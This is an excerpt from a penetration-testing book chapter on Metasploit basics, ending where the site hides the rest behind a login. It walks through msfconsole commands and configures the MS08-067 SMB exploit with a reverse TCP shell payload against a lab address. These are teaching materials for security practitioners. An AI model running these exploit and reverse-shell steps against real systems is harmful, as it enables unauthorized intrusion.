Chapter 5. The Joy of Exploitation

Exploitation is the pinnacle of many security professionals’ careers. The ability to gain full control over a targeted machine is a great feeling, if perhaps a little scary. But even though exploitation techniques have advanced quite a bit over the years, the adoption of various system and network protections has made it increasingly more difficult to succeed with basic exploits. In this chapter, we move into more difficult attack methods, beginning with command-line interfaces to the Metasploit Framework. Most of the attacks and customizations discussed in this chapter will occur in msfconsole, msfencode, and msfpayload.

Before you begin to exploit systems, you need to understand a few things about penetration testing and exploitation. In Chapter 1 you were introduced to basic penetration testing methods. In Chapter 2 you learned the basics of the Framework and what to expect from each tool. In Chapter 3 we explored the intelligence gathering phase, and in Chapter 4 you learned about vulnerability scanning.

In this chapter, we focus on the basics of exploitation. Our goal is to familiarize you with the different commands available through the Framework, which we’ll build upon in later chapters. Most of the attacks from this point forward will occur through msfconsole, and you will need a solid understanding of msfconsole, msfpayload, and msfencode to get the most out of the balance of this book.

Basic Exploitation

The Metasploit Framework contains hundreds of modules, and it’s nearly impossible to remember them all. Running show from msfconsole will display every module available in the Framework, but you can also narrow your search by displaying only specific types of modules as discussed in the following sections.

msf> show exploits

Within msfconsole, exploits operate against the vulnerabilities that you discover during a penetration test. New exploits are always being developed, and the list will continue to grow. This command will display every currently available exploit within the Framework.

msf> show auxiliary

Auxiliary modules in Metasploit can be used for a wide range of purposes. They can operate as scanners, denial-of-service modules, fuzzers, and much more. This command will display them and list their features.

msf> show options

Options control various settings needed for proper functionality of the Framework modules. When you run show options while a module is selected, Metasploit will display only the options that apply to that particular module. Entering msf> show options when not in a module will display the available global options—for example, you can set LogLevel to be more verbose as you perform an attack. You can also issue the back command to go back once inside a module.

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > back
msf >

The search command is useful for finding a specific attack, auxiliary module, or payload. For example, if you want to launch an attack against SQL, you could search for SQL like this:

msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...

Auxiliary
=========

   Name                       Disclosure Date  Rank    Description
   ----                       ---------------  ----    -----------
   admin/mssql/mssql_enum                      normal
  Microsoft SQL Server Configuration
                                                         Enumerator
   admin/mssql/mssql_exec                      normal
  Microsoft SQL Server xp_cmdshell
                                                         Command Execution
   admin/mssql/mssql_idf                       normal
  Microsoft SQL Server - Interesting
                                                         Data Finder
   admin/mssql/mssql_sql                       normal
  Microsoft SQL Server Generic Query
   scanner/mssql/mssql_login                   normal  MSSQL Login Utility
   scanner/mssql/mssql_ping                    normal  MSSQL Ping Utility
Exploits

. . . SNIP . . .

msf >

Or, to find the MS08-067 exploit specifically (an exploit related to the notorious Conficker worm that exploited a weakness within the Remote Procedure Call [RPC] service), you would enter this command:

msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...

Exploits
========

   Name                         Rank   Description
   ----                         ----   -----------
   windows/smb/ms08_067_netapi
  great  Microsoft Server Service Relative Path Stack Corruption

Then, having found an exploit (windows/smb/ms08_067_netapi), you could load the found module with the use command, like so:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

Notice that when we issue the use windows/smb/ms08_067_netapi command, the msf prompt changes as follows:

msf exploit(ms08_067_netapi) >

This indicates that we have selected the ms08_067_netapi module and that commands issued at this prompt will be performed under that exploit.

Note

You can perform a search or use at any time within an exploit to switch to a different exploit or module.

Now, with the prompt reflecting our chosen module, we can enter show options to display the options specific to the MS08-067 exploit:

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) >

This contextual approach to accessing options keeps the interface simpler and allows you to focus only on the options that matter at the moment.

msf> show payloads

Recall from Chapter 2 that payloads are platform-specific portions of code delivered to a target. As with show options, when you run show payloads from a module-specific prompt, Metasploit displays only the payloads that are compatible with that module. In the case of Microsoft Windows–based exploits, these payloads may be as simple as a command prompt on the target or as complex as a full graphical interface on the target machine. To see an active list of payloads, run the following command:

msf> show payloads

This would show you all payloads available in Metasploit; however, if you are in an actual exploit, you will see only payloads applicable to the attack. For example, running show payloads from the msf exploit(ms08_067_netapi) prompt would result in the output shown next.

In the previous example we searched for the MS08-067 module. Now let’s find out the payloads for that module by entering show payloads. Notice in the example that only Windows-based payloads are shown. Metasploit will generally identify the type of payloads that can be used with a particular attack.

msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

Name                                             Rank    Description
----                                             ----    -----------

. . . SNIP . . .

windows/shell/reverse_ipv6_tcp                   normal
  Windows Command Shell, Reverse TCP
                                                           Stager (IPv6)
windows/shell/reverse_nonx_tcp                   normal
  Windows Command Shell, Reverse TCP
                                                           Stager (No NX or Win7)
windows/shell/reverse_ord_tcp                    normal
  Windows Command Shell, Reverse


                                                 Ordinal TCP Stager (No NX or Win7)
windows/shell/reverse_tcp                        normal
  Windows Command Shell, Reverse TCP
                                                           Stager
windows/shell/reverse_tcp_allports               normal
  Windows Command Shell, Reverse
                                                           All-Port TCP Stager
windows/shell_bind_tcp                           normal
  Windows Command Shell, Bind TCP
                                                           Inline
windows/shell_reverse_tcp                        normal
  Windows Command Shell, Reverse TCP
                                                           Inline

Next, we enter set payload windows/shell/reverse_tcp to select the reverse_tcp payload. When we enter show options again we see that additional options are shown:

msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp 
  payload => windows/shell/reverse_tcp
  msf exploit(ms08_067_netapi) > show options 

  Module options:

     Name     Current Setting  Required  Description
     ----     ---------------  --------  -----------
     RHOST                     yes       The target address
     RPORT    445              yes       Set the SMB service port
     SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


   Payload options (windows/shell/reverse_tcp):

     Name      Current Setting  Required  Description
     ----      ---------------  --------  -----------
     EXITFUNC  thread           yes       Exit technique: seh, thread, process
     LHOST                      yes       The local address
     LPORT     4444             yes       The local port

Notice that when the payload is selected at and the options are displayed at , we are presented with some additional options in the payload section at , such as LHOST and LPORT. In this example, you could configure the payload to connect back to the attacker machine on a specific IP address and port number, called a reverse payload. In reverse payloads, the connection is actually triggered by the target machine and it connects to the attacker. You might use this technique to circumvent a firewall or NAT installation.

We’ll configure this exploit with both the LHOST and RHOST options. LHOST, our attacking machine, will connect back from the target machine (RHOST) on the default TCP port (4444).

msf> show targets

Modules often list vulnerable potential targets. For example, because the vulnerability targeted by MS08-067 relies on hard-coded memory addresses, the exploit is specific to operating systems with specific patch levels, language version, and security implementations (as explained in detail in Chapter 14 and Chapter 15). Using the show targets command at the msf MS08-067 prompt displays a list of 60 exploit targets (with only a portion shown in the following example). The success of the exploit will depend on the version of Windows you are targeting. Sometimes automatic detection will not work and could even trigger the wrong exploit, which will usually lead to a service crash.

msf exploit(ms08_067_netapi) > show targets

  Exploit targets:

     Id  Name
   --  ----
    0   Automatic Targeting
     1   Windows 2000 Universal
     2   Windows XP SP0/SP1 Universal
     3   Windows XP SP2 English (NX)
     4   Windows XP SP3 English (NX)
     5   Windows 2003 SP0 Universal
     6   Windows 2003 SP1 English (NO NX)
     7   Windows 2003 SP1 English (NX)
     8   Windows 2003 SP2 English (NO NX)
     9   Windows 2003 SP2 English (NX)

In this example, you can see that the exploit lists Automatic Targeting as one option. Often, an exploit module will attempt to target the operating system automatically based on its version and select an exploit based on the system’s fingerprint. However, it’s often best to try to identify the appropriate exploit yourself to avoid triggering the wrong exploit or a potentially destructive one.

Note

This particular exploit is temperamental, and it has a tough time determining the operating system. If you use this exploit, be sure to set the target as the specific operating system you use in testing on your VM (Windows XP SP2).

info

When the short description of a module provided by the show and search commands isn’t sufficient, use the info command followed by the module name to display all the information, options, and targets available for that module:

msf exploit(ms08_067_netapi) > info

set and unset

All the options for a given Metasploit module must be either set or unset, especially if they are marked as required or yes. When you enter show options, you will see information that specifies whether a field is required. Use the set command to set an option (turn it on); use unset to turn a setting off. The next listing shows the set and unset commands in use.

Note

Notice that the variables are referenced using uppercase characters. This isn’t required, but it is considered good practice.

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.155 
RHOST => 192.168.1.155
msf exploit(ms08_067_netapi) > set TARGET 3 
TARGET => 3
msf exploit(ms08_067_netapi) > show options 

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.155    yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   3   Windows XP SP2 English (NX)

msf exploit(ms08_067_netapi) > unset RHOST
Unsetting RHOST...

At we set the target IP address (RHOST) to 192.168.1.155 (our target machine). At we set the target to 3, the “Windows XP SP2 English (NX)” that we listed with show targets in msf> show targets in msf> show targets. Running show options at confirms that our settings have been populated, as shown in the Module options output.

setg and unsetg

The setg and unsetg commands are used to set or unset a parameter globally within msfconsole. Using these commands can save you from having to re-enter the same information repeatedly, particularly in the case of frequently used options that rarely change, such as LHOST.

save

Having configured global options with the setg command, use the save command to save your current settings so they will be available next time you run the console. You can enter the save command at any time in Metasploit to save your current place.

msf exploit(ms08_067_netapi) > save
Saved configuration to: /root/.msf3/config
msf exploit(ms08_067_netapi) >

The location in which the configuration is stored, /root/.msf3/config, is shown on the screen. If for some reason you need to start over, move or delete this file to revert to the default settings.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset